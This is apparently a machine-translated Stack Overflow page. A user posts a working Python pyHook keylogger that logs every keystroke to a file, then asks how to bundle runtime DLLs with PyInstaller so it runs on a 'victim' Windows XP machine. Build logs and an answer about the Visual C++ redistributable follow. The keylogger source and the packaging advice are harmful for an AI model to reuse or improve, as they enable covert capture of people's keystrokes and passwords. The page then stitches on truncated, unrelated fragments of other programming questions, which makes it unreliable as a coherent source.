主机操作系统:Windows 10,64 位
Python:2.7 版,32 位
对于道德黑客,我正在关注视频,Ethical Hacking Python Keylogger
我根据视频创建了代码,
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Lets_Create_Malware\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
然后我使用 Pyinstaller 转换为 .exe,即
pyinstaller --debug --onefile --noupx keylogger.pyw
并且 .exe 在我的电脑上运行,即 Windows 10,64 位。
但是,当我在 32 位 Windows XP(vmware 上的虚拟机)上执行时,出现错误
此应用程序未能启动,因为未找到 msvcr100.dll。重新安装应用程序可能会解决此问题
再次声明,代码是为了在我的个人网络上进行道德黑客练习。在 Windows XP(“受害者”机器)上安装 msvcr100.dll 不是一种选择。
如何使用 pyinstaller 捆绑 msvcr100.dll
如何使用 pyinstaller 捆绑所有可能的 dll 等
谢谢
我试过包含所有 Windows DLL 的目录,但它不起作用,即巨大的错误消息
pyinstaller --debug --onefile --noupx C:\Windows\System32\*.dll keylogger.pyw
这是调试输出。它查找 msvcp90.dll,但不查找 `msvcr100.dll
如何修复?
c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
116 INFO: PyInstaller: 3.2
116 INFO: Python: 2.7.12
116 INFO: Platform: Windows-10-10.0.10586
116 INFO: wrote c:\Python27\Malware\keylogger.spec
131 INFO: UPX is not available.
131 INFO: Extending PYTHONPATH with paths
['c:\\Python27\\Malware', 'c:\\Python27\\Malware']
131 INFO: checking Analysis
131 INFO: Building Analysis because out00-Analysis.toc is non existent
131 INFO: Initializing module dependency graph...
148 INFO: Initializing module graph hooks...
185 INFO: running Analysis out00-Analysis.toc
185 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
required by c:\python27\python.exe
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
301 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
386 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.9177_none ...
386 INFO: Found manifest C:\WINDOWS\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9.manifest
402 INFO: Searching for file msvcr90.dll
402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcr90.dll
402 INFO: Searching for file msvcp90.dll
402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcp90.dll
402 INFO: Searching for file msvcm90.dll
417 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcm90.dll
502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
517 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
5078 INFO: Caching module hooks...
5085 INFO: Analyzing c:\Python27\Malware\keylogger.pyw
6157 INFO: Loading module hooks...
6157 INFO: Loading module hook "hook-pywintypes.py"...
6331 INFO: Loading module hook "hook-encodings.py"...
6715 INFO: Loading module hook "hook-pythoncom.py"...
6907 INFO: Looking for ctypes DLLs
6907 INFO: Analyzing run-time hooks ...
6907 INFO: Looking for dynamic libraries
16654 WARNING: Attempted to add Python module twice with different upper/lowercases: pyHook._cpyHook
16657 INFO: Looking for eggs
16657 INFO: Using Python library C:\WINDOWS\system32\python27.dll
16662 INFO: Found binding redirects:
[BindingRedirect(name=u'Microsoft.VC90.CRT', language=None, arch=u'x86', oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 30729, 9177), publicKeyToken=u'1fc8b3b9a1e18e3b')]
16667 INFO: Warnings written to c:\Python27\Malware\build\keylogger\warnkeylogger.txt
16713 INFO: checking PYZ
16713 INFO: Building PYZ because out00-PYZ.toc is non existent
16729 INFO: Building PYZ (ZlibArchive) c:\Python27\Malware\build\keylogger\out00-PYZ.pyz
17083 INFO: checking PKG
17084 INFO: Building PKG because out00-PKG.toc is non existent
17085 INFO: Building PKG (CArchive) out00-PKG.pkg
17113 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
18460 INFO: Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Windows-32bit\run_d.exe
18463 INFO: checking EXE
18465 INFO: Building EXE because out00-EXE.toc is non existent
18470 INFO: Building EXE from out00-EXE.toc
18470 INFO: Appending archive to EXE c:\Python27\Malware\dist\keylogger.exe
最佳答案
您不必安装运行该程序所需的 dll。但是,它们必须可用。这可以通过将它们包含在 .exe 文件所在的当前工作目录中来实现。
附加信息: 此处缺少的 DLL 是 Microsoft 的 Visual C++ Redistributable runtime library 的一部分。它们提供了一组支持编译程序运行的可执行函数。它们被称为“可再分发”的原因是编写程序的开发人员无需支付许可费即可将它们包含在他们的程序中。现在让它们存在于您的程序中的简单方法是将 dll 库的安装程序包含在您的程序中,这样您就不必弄清楚哪些 DLL 是必需的,哪些不需要。这也意味着在系统上使用并需要其中一个 DLL 的任何其他人的程序都将全部准备就绪。它也可能将库作为其自身安装的一部分安装在先前安装的顶部(如果它正在进行正式安装),但系统上将只有一组具有这些名称的 DLL。
所以,如果知道所有这些你仍然不想安装库,你唯一的选择就是弄清楚你的程序需要哪些 DLL,一个一个地复制它们,因为错误消息会告诉你哪个 DLL 是下一个它不见了。将所需的 DLL 放在程序的工作目录中是将它们与程序捆绑在一起的另一种方式。可能是两个,也可能是一百个。当然,您可能只是将整个库复制到您的工作目录中,但在这种情况下,您也可能只是在系统上安装了该库。这是一个问题,您对特定的捆绑方式下了多大的决心。
如果您选择更简单的路线(我认为您需要的是 2010 年版),以下是下载页面:
关于python - Pyinstaller 创建的 exe 在一台机器上运行,但在另一台机器上出错,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38190861/
出于纯粹的兴趣,我很好奇如何按顺序创建PI,而不是在过程结果之后生成数字,而是让数字在过程本身生成时显示。如果是这种情况,那么数字可以自行产生,我可以对以前看到的数字实现垃圾收集,从而创建一个无限系列。结果只是在Pi系列之后每秒生成一个数字。这是我通过互联网筛选的结果:这是流行的计算机友好算法,类机器算法:defarccot(x,unity)xpow=unity/xn=1sign=1sum=0loopdoterm=xpow/nbreakifterm==0sum+=sign*(xpow/n)xpow/=x*xn+=2sign=-signendsumenddefcalc_pi(digits
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。
使用带有Rails插件的vim,您可以创建一个迁移文件,然后一次性打开该文件吗?textmate也可以这样吗? 最佳答案 你可以使用rails.vim然后做类似的事情::Rgeneratemigratonadd_foo_to_bar插件将打开迁移生成的文件,这正是您想要的。我不能代表textmate。 关于ruby-使用VimRails,您可以创建一个新的迁移文件并一次性打开它吗?,我们在StackOverflow上找到一个类似的问题: https://sta
我对最新版本的Rails有疑问。我创建了一个新应用程序(railsnewMyProject),但我没有脚本/生成,只有脚本/rails,当我输入ruby./script/railsgeneratepluginmy_plugin"Couldnotfindgeneratorplugin.".你知道如何生成插件模板吗?没有这个命令可以创建插件吗?PS:我正在使用Rails3.2.1和ruby1.8.7[universal-darwin11.0] 最佳答案 随着Rails3.2.0的发布,插件生成器已经被移除。查看变更日志here.现在
exe应该在我打开页面时运行。异步进程需要运行。有什么方法可以在ruby中使用两个参数异步运行exe吗?我已经尝试过ruby命令-system()、exec()但它正在等待过程完成。我需要用参数启动exe,无需等待进程完成是否有任何rubygems会支持我的问题? 最佳答案 您可以使用Process.spawn和Process.wait2:pid=Process.spawn'your.exe','--option'#Later...pid,status=Process.wait2pid您的程序将作为解释器的子进程执行。除
我正在尝试在我的centos服务器上安装therubyracer,但遇到了麻烦。$geminstalltherubyracerBuildingnativeextensions.Thiscouldtakeawhile...ERROR:Errorinstallingtherubyracer:ERROR:Failedtobuildgemnativeextension./usr/local/rvm/rubies/ruby-1.9.3-p125/bin/rubyextconf.rbcheckingformain()in-lpthread...yescheckingforv8.h...no***e
如何使用RSpec::Core::RakeTask初始化RSpecRake任务?require'rspec/core/rake_task'RSpec::Core::RakeTask.newdo|t|#whatdoIputinhere?endInitialize函数记录在http://rubydoc.info/github/rspec/rspec-core/RSpec/Core/RakeTask#initialize-instance_method没有很好的记录;它只是说:-(RakeTask)initialize(*args,&task_block)AnewinstanceofRake
关闭。这个问题需要detailsorclarity.它目前不接受答案。想改进这个问题吗?通过editingthispost添加细节并澄清问题.关闭8年前。Improvethisquestion为什么SecureRandom.uuid创建一个唯一的字符串?SecureRandom.uuid#=>"35cb4e30-54e1-49f9-b5ce-4134799eb2c0"SecureRandom.uuid方法创建的字符串从不重复?
我正在阅读SandiMetz的POODR,并且遇到了一个我不太了解的编码原则。这是代码:classBicycleattr_reader:size,:chain,:tire_sizedefinitialize(args={})@size=args[:size]||1@chain=args[:chain]||2@tire_size=args[:tire_size]||3post_initialize(args)endendclassMountainBike此代码将为其各自的属性输出1,2,3,4,5。我不明白的是查找方法。当一辆山地自行车被实例化时,因为它没有自己的initialize方法
我正在尝试按0-9和a-z的顺序创建数字和字母列表。我有一组值value_array=['0','1','2','3','4','5','6','7','8','9','a','b','光盘','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','','u','v','w','x','y','z']和一个组合列表的数组,按顺序,这些数字可以产生x个字符,比方说三个list_array=[]和一个当前字母和数字组合的数组(在将它插入列表数组之前我会把它变成一个字符串,]current_combo['0','0','0']